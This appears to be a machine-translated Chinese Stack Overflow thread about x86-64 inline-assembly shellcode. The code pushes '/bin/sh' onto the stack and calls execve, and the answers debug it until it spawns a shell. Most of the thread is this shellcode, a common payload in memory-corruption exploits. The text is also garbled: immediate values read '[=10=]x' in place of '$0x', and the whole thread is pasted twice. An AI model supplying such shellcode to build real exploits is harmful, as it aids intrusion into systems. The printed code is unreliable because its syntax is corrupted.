c shellcode:如何使用系统调用
c shellcode: how to use syscall
我尝试使用系统调用
编写shell代码
void main()
{
__asm__ __volatile__
(
"movq [=10=]x0068732f6e69622f, %rdx \n\t"
"pushq %rdx \n\t"
"movq [=10=]x3b, %rax \n\t"
"movq %rsp, %rdi \n\t"
"movq %rsp, %rdx \n\t"
"pushq %rdi \n\t"
"lea 0x0(%rsp), %rsi \n\t"
"movq [=10=]x2a, %r10 \n\t"
"movq [=10=]x2, %r8 \n\t"
"movq [=10=]x6, %r9 \n\t"
"syscall \n\t"
"pop %rdi \n\t"
"pop %rdx \n\t"
);
}
这是我的来源
编译成功
但是它没有执行我瞄准的sh函数
代码有问题吗???
试试这个,取自 here 并稍微改进一下。
void main()
{
__asm__ __volatile__
(
"xor %rdi,%rdi \n\t"
"push %rdi \n\t"
"push %rdi \n\t"
"pop %rsi \n\t"
"pop %rdx \n\t"
"movq [=10=]x68732f6e69622f2f,%rdi \n\t"
"shr [=10=]x08,%rdi \n\t"
"push %rdi \n\t"
"push %rsp \n\t"
"pop %rdi \n\t"
"push [=10=]x3b \n\t"
"pop %rax \n\t"
"syscall \n\t"
);
}
您的汇编程序类似,但似乎在 $rdi 和 $rdx 加载时出错。工作代码在系统调用之前将它们设置为 NULL (0)。 link 表示 exec 调用采用三个参数,显然后两个可以为空。
我用你的代码做了设置,它成功了!
void main()
{
__asm__ __volatile__
(
"movq [=11=]x0068732f6e69622f, %rdx \n\t"
"pushq %rdx \n\t"
"movq [=11=]x3b, %rax \n\t"
"movq %rsp, %rdi \n\t"
"movq %rsp, %rdx \n\t"
"pushq %rdi \n\t"
"lea 0x0(%rsp), %rsi \n\t"
"movq [=11=]x2a, %r10 \n\t"
"movq [=11=]x2, %r8 \n\t"
"movq [=11=]x6, %r9 \n\t"
"movq [=11=]x0, %rsi \n\t"
"movq [=11=]x0, %rdx \n\t"
"syscall \n\t"
"pop %rdi \n\t"
"pop %rdx \n\t"
);
}
有趣的小谜题,让我有机会重温我的汇编程序:)
我尝试使用系统调用
编写shell代码void main()
{
__asm__ __volatile__
(
"movq [=10=]x0068732f6e69622f, %rdx \n\t"
"pushq %rdx \n\t"
"movq [=10=]x3b, %rax \n\t"
"movq %rsp, %rdi \n\t"
"movq %rsp, %rdx \n\t"
"pushq %rdi \n\t"
"lea 0x0(%rsp), %rsi \n\t"
"movq [=10=]x2a, %r10 \n\t"
"movq [=10=]x2, %r8 \n\t"
"movq [=10=]x6, %r9 \n\t"
"syscall \n\t"
"pop %rdi \n\t"
"pop %rdx \n\t"
);
}
这是我的来源
编译成功
但是它没有执行我瞄准的sh函数
代码有问题吗???
试试这个,取自 here 并稍微改进一下。
void main()
{
__asm__ __volatile__
(
"xor %rdi,%rdi \n\t"
"push %rdi \n\t"
"push %rdi \n\t"
"pop %rsi \n\t"
"pop %rdx \n\t"
"movq [=10=]x68732f6e69622f2f,%rdi \n\t"
"shr [=10=]x08,%rdi \n\t"
"push %rdi \n\t"
"push %rsp \n\t"
"pop %rdi \n\t"
"push [=10=]x3b \n\t"
"pop %rax \n\t"
"syscall \n\t"
);
}
您的汇编程序类似,但似乎在 $rdi 和 $rdx 加载时出错。工作代码在系统调用之前将它们设置为 NULL (0)。 link 表示 exec 调用采用三个参数,显然后两个可以为空。
我用你的代码做了设置,它成功了!
void main()
{
__asm__ __volatile__
(
"movq [=11=]x0068732f6e69622f, %rdx \n\t"
"pushq %rdx \n\t"
"movq [=11=]x3b, %rax \n\t"
"movq %rsp, %rdi \n\t"
"movq %rsp, %rdx \n\t"
"pushq %rdi \n\t"
"lea 0x0(%rsp), %rsi \n\t"
"movq [=11=]x2a, %r10 \n\t"
"movq [=11=]x2, %r8 \n\t"
"movq [=11=]x6, %r9 \n\t"
"movq [=11=]x0, %rsi \n\t"
"movq [=11=]x0, %rdx \n\t"
"syscall \n\t"
"pop %rdi \n\t"
"pop %rdx \n\t"
);
}
有趣的小谜题,让我有机会重温我的汇编程序:)